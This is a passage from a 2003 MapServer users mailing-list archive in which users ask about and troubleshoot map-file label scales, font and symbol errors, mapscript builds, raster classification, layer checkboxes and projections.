cannot get it.
my =
template=20
& map file are in the wwwroot, which is my Home Directory on =
Win2K and=20
IIS. I have my fonts.list file in=20
"wwwroot\fonts\fonts.list"
when=20
I try FONTSET "fonts/fonts.list" I get this error -=20
getSymbol(): Symbol =
definition=20
error. (FONT):(47)
Then I try=20
SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this =
error -=20
getSymbol(): Symbol =
definition=20
error. (FONT):(48)
I don't have=20
a symbols.sym file from the downloaded stuff, just the symbols35.sym =
file
Don't know what =
to try=20
next. Here is my map file (there could be=20
errors)
------=_NextPart_000_0027_01C2B8C8.06348370--
From mccrone at pc.jaring.my Fri Jan 10 03:25:26 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Fri, 10 Jan 2003 19:25:26 +0800
Subject: [Mapserver-users] Show/hide labels with LABELMINSCALE & LABELMAXSCALE
Message-ID: <000c01c2b89a$fa3a3bf0$3079063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_0009_01C2B8DE.07350180
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I wish to only show the road labels when the map reaches a =
pre-determiend scale.I've searched the archives and still baffled.
I realize that this should be a straight forward task, but it has =
defeated me (new to this subject). I load the same
shp files into ArcView and get an idea of when I wish to show/hide the =
labels by playing around with the minumun and maximum
scale values (withn theme->properties dialog). However, nothing seems to =
work on my mapserver. I'm not using php, just wish to set
it up in the map file.
I had originally had the labelling as part of the layer and then created =
a separate annotation layer - still did'nt work.
I'll give you my single layer and see if anyone can assist me on =
showing/hiding the labels for the roads -=20
LAYER
NAME "roads"
STATUS OFF
DATA ROAD_GPS
LABELITEM "Road_name" =20
#LABELMINSCALE ????---> Can't figure out what values to set
#LABELMINSCALE ????---> Can't figure out what values to set
TYPE LINE
CLASS
COLOR 0 0 255
LABEL
TYPE TRUETYPE
#ANTIALIAS
FONT arial
COLOR 0 0 0
OUTLINECOLOR 220 220 220
SIZE 8
#SIZE MEDIUM
ANGLE AUTO
POSITION UC
OFFSET 0 2 =20
buffer 2
END#label
END
END # roads
------=_NextPart_000_0009_01C2B8DE.07350180
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I wish to only show the road labels =
when the map=20
reaches a pre-determiend scale.I've searched the archives and still=20
baffled.
I realize that this should be a =
straight forward=20
task, but it has defeated me (new to this subject). I load the =
same shp files=20
into ArcView and get an idea of when I wish to show/hide the labels by =
playing=20
around with the minumun and maximum scale values (withn =
theme->properties=20
dialog). However, nothing seems to work on my mapserver. I'm not using =
php, just=20
wish to set it up in the map file.
I had originally had the labelling as =
part of the=20
layer and then created a separate annotation layer - still did'nt=20
work.
I'll give you my single layer and see =
if anyone can=20
assist me on showing/hiding the labels for the roads -
LAYER NAME "roads" =
STATUS=20
OFF DATA ROAD_GPS LABELITEM "Road_name" =
=20
#LABELMINSCALE ????---> Can't figure out what values to set =
#LABELMINSCALE ????---> Can't figure out what values to set =
TYPE=20
LINE CLASS COLOR 0 0 =
255 =20
LABEL TYPE=20
TRUETYPE =20
#ANTIALIAS FONT =
arial =20
COLOR 0 0 0 OUTLINECOLOR 220 220 220 SIZE =
8 #SIZE=20
MEDIUM ANGLE AUTO POSITION UC OFFSET 0=20
2 buffer =
2 =20
END#label END END # roads
------=_NextPart_000_0009_01C2B8DE.07350180--
From stefan.schwarzer at grid.unep.ch Fri Jan 10 04:02:40 2003
From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer)
Date: Fri, 10 Jan 2003 13:02:40 +0100
Subject: [Mapserver-users] Show/hide labels with LABELMINSCALE &
LABELMAXSCALE
In-Reply-To: <000c01c2b89a$fa3a3bf0$3079063d@clickntrac>
Message-ID: <5.2.0.9.0.20030110124533.02f6ecb0@gridg.grid.unep.ch>
--=====================_159506958==.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed
Hi Steve,
naturally the value you use to set the limits for the labels depend on your
files. Here is an example of labeling the capitals of all countries. In
full extent mode the user won't see the labels but the points. Only if one
zooms into the map to a certain degree, the labels will be displayed.
Labelminscale would be used to hide the labels again if the user would zoom
in too much. But I didn't use this option as it doesn't make sense in this
case. I figured out the value just by trial-and-error....
Hope this helps.
Stefan
LAYER
NAME capital
TYPE POINT
DATA capitals
STATUS DEFAULT
LABELITEM 'name'
LABELMAXSCALE 80000000
CLASSITEM 'status'
CLASS
EXPRESSION 'National capital'
SYMBOL 'circle'
SIZE 3
COLOR 250 50 10
LABEL
OFFSET 5 -8
SIZE TINY
COLOR 230 230 100
POSITION CC
END
END
END
>I wish to only show the road labels when the map reaches a pre-determiend
>scale.I've searched the archives and still baffled.
>
>I realize that this should be a straight forward task, but it has defeated
>me (new to this subject). I load the same
>shp files into ArcView and get an idea of when I wish to show/hide the
>labels by playing around with the minumun and maximum
>scale values (withn theme->properties dialog). However, nothing seems to
>work on my mapserver. I'm not using php, just wish to set
>it up in the map file.
>
>I had originally had the labelling as part of the layer and then created a
>separate annotation layer - still did'nt work.
>
>I'll give you my single layer and see if anyone can assist me on
>showing/hiding the labels for the roads -
>
>LAYER
> NAME "roads"
> STATUS OFF
> DATA ROAD_GPS
> LABELITEM "Road_name"
> #LABELMINSCALE ????---> Can't figure out what values to set
> #LABELMINSCALE ????---> Can't figure out what values to set
> TYPE LINE
> CLASS
> COLOR 0 0 255
> LABEL
> TYPE TRUETYPE
> #ANTIALIAS
> FONT arial
> COLOR 0 0 0
> OUTLINECOLOR 220 220 220
> SIZE 8
> #SIZE MEDIUM
> ANGLE AUTO
> POSITION UC
> OFFSET 0 2
> buffer 2
> END#label
> END
>END # roads
_______________________________________
Stefan Schwarzer
Consultant on GEO
UNEP/DEWA/GRID-Geneva
Chemin des Anemones 11
CH - 1219 Chatelaine
Switzerland
Tel: (+41) 22.917.83.49
Fax: (+41) 22.917.80.29
Email: stefan.schwarzer at grid.unep.ch
Internet: http://geodata.grid.unep.ch/
_______________________________________
--=====================_159506958==.ALT
Content-Type: text/html; charset="us-ascii"
Hi Steve,
naturally the value you use to set the limits for the labels depend on
your files. Here is an example of labeling the capitals of all countries.
In full extent mode the user won't see the labels but the points. Only if
one zooms into the map to a certain degree, the labels will be displayed.
Labelminscale would be used to hide the labels again if the user would
zoom in too much. But I didn't use this option as it doesn't make sense
in this case. I figured out the value just by
trial-and-error....
Hope this helps.
Stefan
LAYER
NAME capital
TYPE POINT
DATA capitals
STATUS DEFAULT
LABELITEM
'name'
LABELMAXSCALE 80000000
CLASSITEM 'status'
CLASS
EXPRESSION 'National capital'
SYMBOL 'circle'
SIZE 3
COLOR 250 50 10
LABEL
OFFSET 5 -8
SIZE TINY
COLOR 230 230 100
POSITION CC
END
END
END
I
wish to only show the road labels when the map reaches a pre-determiend
scale.I've searched the archives and still
baffled.
I realize that this should be a straight
forward task, but it has defeated me (new to this subject). I load the
same
shp files into ArcView and get an idea of when I wish to show/hide the
labels by playing around with the minumun and maximum
scale values (withn theme->properties dialog). However, nothing seems
to work on my mapserver. I'm not using php, just wish to set
it up in the map file.
I had originally had the labelling as
part of the layer and then created a separate annotation layer - still
did'nt work.
I'll give you my single layer and see if
anyone can assist me on showing/hiding the labels for the roads -
LAYER
NAME "roads"
STATUS OFF
DATA ROAD_GPS
LABELITEM "Road_name"
#LABELMINSCALE ????---> Can't figure out what values to
set
#LABELMINSCALE ????---> Can't figure out what values to
set
TYPE LINE
CLASS
COLOR 0 0 255
LABEL
TYPE TRUETYPE
#ANTIALIAS
FONT arial
COLOR 0 0 0
OUTLINECOLOR 220 220 220
SIZE 8
#SIZE MEDIUM
ANGLE AUTO
POSITION UC
OFFSET 0 2
buffer 2
END#label
END
END # roads
_______________________________________
Stefan
Schwarzer Consultant
on GEO
UNEP/DEWA/GRID-Geneva Chemin des
Anemones 11 CH - 1219
Chatelaine Switzerland
Tel: (+41)
22.917.83.49 Fax: (+41)
22.917.80.29
Email:
stefan.schwarzer at grid.unep.ch Internet:
http://geodata.grid.unep.ch/ _______________________________________
--=====================_159506958==.ALT--
From frauke.trurnit at gmx.de Fri Jan 10 05:47:33 2003
From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de)
Date: Fri, 10 Jan 2003 14:47:33 +0100 (MET)
Subject: [Mapserver-users] unable to load dynamic library
Message-ID: <25715.1042206453@www50.gmx.net>
Hi list,
I configured mapscript/php and copied php_mapscript.so to
"/usr/local/lib/php/extensions/". The extension_dir in php.ini is set to
"/usr/local/lib/php/extensions/" and the phpinfo() works.
But when I call this php-file:
draw();
$image_url=$image->saveWebImage(MS_PNG,1,1,0);
?>
Map 1
>
I get the following error message:
Unable to load dynamic library
'/usr/local/lib/php/extensions/php_mapscript.so' - /usr/local/lib/php/extensions/php_mapscript.so: undefined symbol:
GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on line 2
Fatal error: Call to undefined function: ms_newmapobj() in
/usr/local/httpd/htdocs/releases/bundestag.php4 on line 4
Can someone help me?
Frauke
--
+++ GMX - Mail, Messaging & more http://www.gmx.net +++
NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen!
From philipp.jacob at geosysnet.de Fri Jan 10 06:34:06 2003
From: philipp.jacob at geosysnet.de (Philipp Jacob)
Date: Fri, 10 Jan 2003 15:34:06 +0100
Subject: [Mapserver-users] Can't compile TCL Mapscript
References: <25715.1042206453@www50.gmx.net>
Message-ID: <3E1ED9DE.3010703@geosysnet.de>
Help.
I am trying to compile the tcl interface for Mapscript so I can use
msworkbench. This is the output that I get from 'make':
gcc -pipe -c -DPACKAGE_NAME="" -DPACKAGE_TARNAME="" -DPACKAGE_VERSION="" -DPACKAGE_STRING="" -DPACKAGE_BUGREPORT="" -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DHAVE_UNISTD_H=1 -DHAVE_LIMITS_H=1 -D_LARGEFILE64_SOURCE=1 -DTCL_WIDE_INT_TYPE=long long -DHAVE_STRUCT_STAT64=1 -DHAVE_TYPE_OFF64_T=1 -DHAVE_GETCWD=1 -DHAVE_OPENDIR=1 -DHAVE_STRSTR=1 -DHAVE_STRTOL=1 -DHAVE_STRTOLL=1 -DHAVE_STRTOULL=1 -DHAVE_TMPNAM=1 -DHAVE_WAITPID=1 -DHAVE_UNISTD_H=1 -DHAVE_SYS_PARAM_H=1 -DUSE_TERMIOS=1 -DHAVE_SYS_TIME_H=1 -DTIME_WITH_SYS_TIME=1 -DHAVE_STRUCT_TM_TM_ZONE=1 -DHAVE_TM_ZONE=1 -DHAVE_GMTIME_R=1 -DHAVE_LOCALTIME_R=1 -DHAVE_TM_GMTOFF=1 -DHAVE_TIMEZONE_VAR=1 -DHAVE_STRUCT_STAT_ST_BLKSIZE=1 -DHAVE_ST_BLKSIZE=1 -DHAVE_SIGNED_CHAR=1 -DHAVE_LANGINFO=1 -DHAVE_SYS_IOCTL_H=1 -fPIC \
-I/usr/include \
-DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -I. -I/usr/local/include -I/usr/local/include -I/usr/local/include \
-DUSE_TCL_STUBS -DITCL_NAMESPACES -DItcl_Namespace=int -D"spaceId=spcid;Tcl_InitStubs(interp,\"8.1\",0)" \
mapscript_wrap.c
gcc: long: No such file or directory
cc1: warning: changing search order for system directory "/usr/local/include"
cc1: warning: as it has already been specified as a non-system directory
cc1: warning: changing search order for system directory "/usr/include"
cc1: warning: as it has already been specified as a non-system directory
In file included from ../../map.h:41,
from mapscript_wrap.c:1049:
/usr/include/regex.h:535:1: warning: "__restrict_arr" redefined
In file included from /usr/include/features.h:283,
from /usr/include/string.h:26,
from mapscript_wrap.c:26:
/usr/include/sys/cdefs.h:212:1: warning: this is the location of the previous definition
make: *** [stublib] Error 1
I am using Mapserver 3.6.4 on Suse 8.1. Anyone know
what's going on?
Thanks,
Philipp
From Roberto.Santinelli at pg.infn.it Fri Jan 10 06:51:20 2003
From: Roberto.Santinelli at pg.infn.it (Roberto_Santinelli)
Date: Fri, 10 Jan 2003 15:51:20 +0100 (MET)
Subject: [Mapserver-users] Convert a ArcView project (.apr) in to a Mapserver one (map)
Message-ID: <1042210280.3e1edde8d395d@mailer.pg.infn.it>
Hi everybody,
once again is me to write looking for some hints.
Well, in this phase of my project (perhaps, whenever finished, i hope to make
you current about it...)
i have to convert an ArcView project (namely the apr file containing all the
layer with their informations as color, scale, name, properties and so on) in
to a map file to allow mapserver to publish the same GIS-data.
This is the goal.
I already developted (based on the work of Ross) an ArcView extension script
(language is Avenue) to traslate many characteristics from ESRI world to
Mapserver one.
But there are some limits.
This "traslation" for example don't allow to mantain symbol information (a red
star used for a point layer in ArcView, a town for example, should be always a
star in the mapserver and not simply a red default-pixel or a DASHED GREEN LINE
SHOULD AGAIN BE A DASHED AND NOT A SOLID LINE (BLU)).
Let me avoid to speak about the filling of polygon....
My question is: there are some tool to convert the symbols of ArvView (*.avp)
in to something like in mapserver?
If yes how to use? How to load in to a symbol.sym file the sybol need?
If not, how do you do to make a red star in ArcView in to a red star in
Mapserver?
I don't think this is a very interesting question for you, but if someone
already met with this problem.....
Looking forward for your news,
all the best
Roberto Santinelli
From RUBINJ at gov.ns.ca Fri Jan 10 07:08:21 2003
From: RUBINJ at gov.ns.ca (John Rubin)
Date: Fri, 10 Jan 2003 11:08:21 -0400
Subject: [Mapserver-users] JOIN DBF's
Message-ID:
Has the JOIN function been enabled and if so in what mapserver version, I am presently using a windows binary version of 3.6.3.
What is the map file prodical for JOIN? If any one has an example it would be appreciated.
John Rubin
John Rubin
Telephone: 902-893-5712
E-mail: RUBINJ at gov.ns.ca
From warmerdam at pobox.com Fri Jan 10 07:10:26 2003
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 10 Jan 2003 10:10:26 -0500
Subject: [Mapserver-users] GDAL support for classed rasters in nightly
3.7?
In-Reply-To: <4D6E6CCBC9CED61192720060B06B3DD7C3FC3E@ACTMAIL2>
References: <4D6E6CCBC9CED61192720060B06B3DD7C3FC3E@ACTMAIL2>
Message-ID: <3E1EE262.1010907@pobox.com>
Antti.Roppola at brs.gov.au wrote:
> Hello all,
>
> I have built 3.7 using the nightly tarball from the day before.
>
> Most things in the 3.6 map work un-modified, but classed rasters do not display
> (a continuous tone ERDAS Imagine file still works). This suggests something
> to do with the CLASS object:
>
> LAYER
> NAME "My Layer"
> TYPE RASTER
> STATUS OFF
> DATA myraster.bil ## (.tif or Grid for that matter)
> CLASSITEM "[pixel]"
> CLASS
> NAME "Class 1"
> EXPRESSION ([pixel] ==1)
> COLOR 255 0 0
> END
> END
>
> The 3.7 migration doco suggests CLASS should be backward compatible in most instances.
> Am I seeing a vagary in the nightly, or should I be re-writing the above as a STYLE? Inserting
> "DEBUG 1" into the layer merely induces a getSymbol() error message.
>
Antti,
I found a few problems contributing to this failing:
o The code in mapdrawgdal.c that was checking the class colors was not first
calling RESOLVE_PEN_GD() so the pen value wasn't set and the color wasn't
valid. This problem seems to be shared with all the other classified raster
code in mapraster.c, so I have fixed them to.
o The MS_TRANSPARENT_COLOR() macro seemed to be returning MS_TRUE and MS_FALSE
reversed from what they should be. I have corrected this macro in map.h.
o mapdrawgdal.c was applying the CVT macro to red, green and blue values
pulled from sEntry. This is an error and I have removed used of this
macro. This was improperly copied from the libtiff based renderer I
think.
I have committed the changes, and also added a raster "classification" test
to the automated testsuite (msautotest/gdal/classtest1.map) that should
warn us if the classification support gets so badly broken again.
Please do a CVS update and let me know if you encounter any additional problems
with raster classification.
Best regards,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
From DMartin at erac.com Fri Jan 10 08:59:33 2003
From: DMartin at erac.com (Martin, Daniel)
Date: Fri, 10 Jan 2003 10:59:33 -0600
Subject: [Mapserver-users] Checkboxes for layer control
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBCCD@STL-EXBE-I03.corp.erac.com>
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_000_01C2B8C9.A5D847C3
Content-Type: multipart/alternative;
boundary="----_=_NextPart_001_01C2B8C9.A5D847C3"
------_=_NextPart_001_01C2B8C9.A5D847C3
Content-Type: text/plain;
charset="iso-8859-1"
Steve,
I've attached my checkbox legend. I think it will better accomplish what
you are trying to do. Using an html template legend avoids hard coding
layers like you've done. To use it, your map file needs to have:
TEMPLATE "../legendTemplates/checkBox_legend.html"
within the LEGEND object. Then your client should at some point use
[legend]
Obviously it's meant to be nested within a table (it really won't look good
otherwise). If you don't want the checkbox to call a Javascript function,
you can change:
onClick="submitMapserv();"
to
onclick="document.mapserv.submit();"
where "mapserv" is the name of your form.
If any of this doesn't make sense, let me know.
-Dan Martin
-----Original Message-----
From: Steve McCrone [mailto:mccrone at pc.jaring.my]
Sent: Tuesday, January 07, 2003 8:07 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Checkboxes for layer control
I'm trying to implement check boxes to toggle on/off layers. It looks
pretty darn simple but I can't seem to get it working. The checkboxes are
to reflect what layers are loaded, but they are not. I've tried for many
hours but once again must resort to the list. So I'm really hoping that
someone can point out my mistake(s).
My original had the rosa applet in it and it was working great. But I took
it out in the code below to see if that made a difference, so there is some
declarations in the template file that do not currently apply.
I start with index.html
==============
MapServer 3.5 Tutorial
------_=_NextPart_001_01C2B8C9.A5D847C3
Content-Type: text/html;
charset="iso-8859-1"
Steve,
I've
attached my checkbox legend. I think it will better accomplish what you
are trying to do. Using an html template legend avoids hard coding layers
like you've done. To use it, your map file needs to have:
within the LEGEND object. Then your client
should at some point use
<TD>[legend]</TD>
Obviously it's meant to be nested within a table (it really won't
look good otherwise). If you don't want the checkbox to call a Javascript
function, you can change:
onClick="submitMapserv();"
to
onclick="document.mapserv.submit();"
where
"mapserv" is the name of your form.
If any of this doesn't make sense, let me
know.
-Dan
Martin
-----Original Message----- From: Steve McCrone
[mailto:mccrone at pc.jaring.my] Sent: Tuesday, January 07, 2003 8:07
AM To: mapserver-users at lists.gis.umn.edu Subject:
[Mapserver-users] Checkboxes for layer control
I'm trying to implement check boxes to toggle
on/off layers. It looks pretty darn simple but I can't seem to get it
working. The checkboxes are to reflect what layers are loaded, but they
are not. I've tried for many hours but once again must resort to the
list. So I'm really hoping that someone can point out my
mistake(s).
My original had the rosa applet in it and it was
working great. But I took it out in the code below to see if that made a
difference, so there is some declarations in the template file that do not
currently apply.
I start with
index.html ============== <html> <head> <title>MapServer
3.5 Tutorial</title> </head> <body
bgcolor="#ffffff"> <form method=GET
action="/cgi-bin/mapserv.exe">
WEB TEMPLATE s1ex1.html
IMAGEPATH "set in index.html" IMAGEURL "set in
index.html" END
LAYER # water NAME "water"
DATA hydrop_ugl STATUS DEFAULT TYPE POLYGON
CLASS NAME
"water" COLOR 200 200 255
OUTLINECOLOR 255 0 0 END # end of water features class END
# end of water features layer
LAYER # States NAME "states"
DATA states_ugl STATUS DEFAULT TYPE POLYGON
CLASS # States class
NAME "States" EXPRESSION ('[CLASS]' =
'land') COLOR 240 240 240
OUTLINECOLOR 0 0 0 END # end of States class object END # end of
layer object
END # end of map file
s1ex1.html ======== <!DOCTYPE HTML
PUBLIC "-//IETF//DTD
HTML//EN"> <html> <head> <title>Part1, Example
1</title> </head> <h3>Section 1- Example
1</h3>
<!-- ROSA applet specific tags
--> <input type="hidden" name="imagewidth"
value="[mapwidth]"> <input type="hidden"
name="imageheight" value="[mapheight]"> <!--
Initialization of the parameters which can be set from the applet
--> <input type="hidden" name="INPUT_TYPE"
value=""> <input type="hidden" name="INPUT_COORD"
value="">
[/leg_class_html]
------_=_NextPart_000_01C2B8C9.A5D847C3--
From jlowe at giswebsite.com Fri Jan 10 09:48:04 2003
From: jlowe at giswebsite.com (Jonathan W. Lowe)
Date: 10 Jan 2003 09:48:04 -0800
Subject: [Mapserver-users] mapscript and XBase cause Out of
memoryerrorand/or premature endof script headers error
In-Reply-To: <200301101553.h0AFrhR15972@yogi.medinaco.net>
References: <200301101553.h0AFrhR15972@yogi.medinaco.net>
Message-ID: <1042220887.1054.53.camel@localhost.localdomain>
Lowell,
The problem Daniel Morissette describes below )("crash in the web server
environment just after the call to $map->draw()") is exactly what was
happening with my FreeBSD installation. When the sys admin increased
the memory ceiling to 12 MB, the problem went away. However, when I
zoomed to a level requiring many street labels, the problem reappeared.
I had compiled mapserver and perl mapscript against completely local
builds of gd, proj-4, libpng, and all other required libraries. When I
recompiled using the system builds of those libraries, the program that
had been crashing ran fine. This suggests some kind of memory
limitation, yes?
When running the problematic script with a directive...
$ENV{MS_ERRORFILE} = "/usr/home/gisweb/www/logs/mapscript.log"; # map
engine error log
...to send error messages to a log file, the following appeared in the
log after crashes of the $map->draw() line:
Tue Jan 7 15:06:08 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:08 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:08 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msAddImageSymbol(): Unable to access file.
Tue Jan 7 15:06:09 2003 - msGetLabelSize(): TrueType Font error. libgd
was not built with TrueType font support
The last line, about the TrueType Font error seems to be the relevant
one, although I did build libgd with freetype1. (The msSearchDiskTree
error is explained in other postings in this list.)
I've accepted that I will not be able to run a local copy of all the
supporting libraries and so am now at the mercy of the host's system
administrator to keep the right versions of gd, etc. on the system. With
the exception of some label rotation problems caused (I think) by a bug
in an earlier version of gd (1.8.4), this seems to work, so I've
abandoned the local setup and memory ceiling question. Learned to date:
12 MB apparently is inadequate for the image processing requirements of
the combined libraries + mapserver, but the needed ceiling is not known.
Hope this helps,
Jonathan Lowe
On Fri, 2003-01-10 at 07:56, Lowell Filak wrote:
> Jonathan;
> Have you been able to identify anything?
> Thanks.
> Lowell
>
> The following message was sent by Daniel Morissette on Thu, 09 Jan 2003 20:46:55 -0500.
>
> > "Jonathan W. Lowe" wrote:
> > >
> > > The rest of the story is still not over, however. The test script that now
> > > works is only a test script; the main script still fails, with a "Premature end
> > > of script headers" error message in the log file. I plan to slowly add
> > > subroutines to the working script and see where it stops working...
> > >
> >
> > FYI we have run into a similar issue on a Linux box where a Perl
> > MapScript (3.6.x) script would work fine at the command line but would
> > sometimes crash in the web server environment just after the call to
> > $map->draw(), resulting in a premature end of script headers (or
> > truncated output sometimes)... I have never been able to identify the
> > source of the problem, but if you find anything then I would be very
> > interested in hearing the solution.
> >
> > Daniel
> > --
> > ------------------------------------------------------------
> > Daniel Morissette morissette at dmsolutions.ca
> > DM Solutions Group http://www.dmsolutions.ca/
> > ------------------------------------------------------------
>
>
From jmccue at geovue.com Fri Jan 10 10:46:23 2003
From: jmccue at geovue.com (John McCue)
Date: Fri, 10 Jan 2003 13:46:23 -0500
Subject: [Mapserver-users] Projections
Message-ID:
How are projections handled in map server? When I use: PROJECTION
"proj=longlat"
"ellps=GRS80"
END
The image seems to be sheared or stretched in the north south direction.
The data I am using is in lon/lat coordinates.
Thanks
John
From ed at topozone.com Fri Jan 10 10:52:09 2003
From: ed at topozone.com (Ed McNierney)
Date: Fri, 10 Jan 2003 13:52:09 -0500
Subject: [Mapserver-users] Projections
Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AF1@mercator.topozone.com>
John -
If you create a simple MAP file that specifies no projection at all, do you get a different result than if you specify that PROJECTION block?
Is it possible that you're displaying the image in an IMG tag that's got a HEIGHT and WIDTH explicitly specified?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed at topozone.com
(978) 251-4242
-----Original Message-----
From: John McCue [mailto:jmccue at geovue.com]
Sent: Friday, January 10, 2003 1:46 PM
To: Mapserver-Users
Subject: [Mapserver-users] Projections
How are projections handled in map server? When I use: PROJECTION
"proj=longlat"
"ellps=GRS80"
END
The image seems to be sheared or stretched in the north south direction.
The data I am using is in lon/lat coordinates.
Thanks
John
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From morissette at dmsolutions.ca Fri Jan 10 12:06:02 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 10 Jan 2003 15:06:02 -0500
Subject: [Mapserver-users]
References: <005a01c2b511$e2391b20$470a18d3@clickntrac> <3E1E2C0B.3A8AB2F5@dmsolutions.ca> <001d01c2b8a6$9db0d950$840918d3@clickntrac>
Message-ID: <3E1F27AA.EB411AAB@dmsolutions.ca>
> Steve McCrone wrote:
>
> The pixel_size = ([maxx] - [minx])/[width] will give me how many
> degrees (decimal degrees) is each pixel, But some further math has to
> be done to somehow equate this to a distance. Now, I could "inverse"
> between the two extents to get a metres value but I would essentiall
> ybe bypassing the "built-in" measurement
> .
>
> Still puzzled. I may have to resort to PHP mapscript to get further
> control over my app.
>
Ah, your need to convert the pixel size from degrees to meters, and
doing this accurately requires that you use the PROJ library because one
degree of longitude is not the same lenght depending on how far you are
from the equator. So to get an accurate pixel size value you would have
to use MapScript (Perl, PHP, etc.) or the php_proj module that comes in
the php_mapscript directory to calculate the size of one pixel at the
center of your map image.
Now, if you can live with a very rough approximation you can go with the
assumption that 1 degree is approx. 69 miles, or 110 km at the equator.
So the formula becomes:
pixel_size_in_meters = 110000*([maxx] - [minx])/[width]
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From mpr at dpi.ufv.br Fri Jan 10 13:14:08 2003
From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis)
Date: Fri, 10 Jan 2003 19:14:08 -0200
Subject: [Mapserver-users] help! gd compiling error
Message-ID: <5.1.0.14.0.20030110191341.00b5ef68@vicosa.dpi.ufv.br>
--=====================_16239811==_.ALT
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
I need your help.
I am trying to install MapServer and I'm following the documentation=20
"MapServer Cygwin Compilation and Installation HowTo".
I have a problem with compiling gd-1.8.4 package with cygwin on Windows xp
"
$ make
/bin/sh ./libtool --mode=3Dlink gcc -g -02 -L/usr/local/lib -L -o pngtogd=20
pngtogd.o libgd.la -lpng lz lm
cd: can't cd to
libtool: link: warning: cannot determine absolute directory name of '
libtool: link: passing it literally to the linker, although it might fail
cd: can't cd to
gcc -g -02 -L/usr/local/lib -L -o pngtogd pngtogd.o .libs/libgd.a -lpng -lz=
=20
-lpng -lz
gcc: pngtogd: No such file or directory
make: *** [pngtogd] Error 1
"
Thanks,
Mauricio
------
Mauricio Pereira Reis
Graduando em Ci=EAncia da Computa=E7=E3o
Universidade Federal de Vi=E7osa - UFV
--=====================_16239811==_.ALT
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I need your help.
I am trying to install MapServer and I'm following the documentation
"MapServer Cygwin Compilation and Installation HowTo".
I have a problem with compiling gd-1.8.4 package with cygwin on Windows
xp
"
$ make
/bin/sh ./libtool --mode=3Dlink gcc -g -02 -L/usr/local/lib -L -o pngtogd
pngtogd.o libgd.la -lpng lz lm
cd: can't cd to
libtool: link: warning: cannot determine absolute directory name of
'
libtool: link: passing it literally to the linker, although it might
fail
cd: can't cd to
gcc -g -02 -L/usr/local/lib -L -o pngtogd pngtogd.o .libs/libgd.a -lpng
-lz -lpng -lz
gcc: pngtogd: No such file or directory
make: *** [pngtogd] Error 1
"
Thanks,
Mauricio
------
Mauricio Pereira Reis
Graduando em Ci=EAncia da Computa=E7=E3o
Universidade Federal de Vi=E7osa - UFV
--=====================_16239811==_.ALT--
From dbecker at 911.lubbock.tx.us Fri Jan 10 15:00:40 2003
From: dbecker at 911.lubbock.tx.us (dbecker at 911.lubbock.tx.us)
Date: Fri, 10 Jan 2003 17:00:40 -0600
Subject: [Mapserver-users] Geocode Lat/Long Decimal Degrees
In-Reply-To: <20030109180001.3489.97964.Mailman@lists.gis.umn.edu>
Message-ID:
Hi fellow listers!
I've been looking for a custom mapserver query that will all a user to key
in Lat/Long coordinates in decimal degrees, and plot that point on a map.
Does anyone know of an existing mapserver application that will do this? I
haven't come across that functionality. I'm not looking for batch
geocoding, but an interface where a pair of coordinates is typed into a
dialog box resulting with that point on the map. If new coordinates are
typed then the point changes location.
Thanks,
Don Becker
Lubbock Emergency Communication District
From stepan.kafka at centrum.cz Sat Jan 11 08:04:09 2003
From: stepan.kafka at centrum.cz (Stepan Kafka)
Date: Sat, 11 Jan 2003 17:04:09 +0100
Subject: [Mapserver-users] Geocode Lat/Long Decimal Degrees
In-Reply-To:
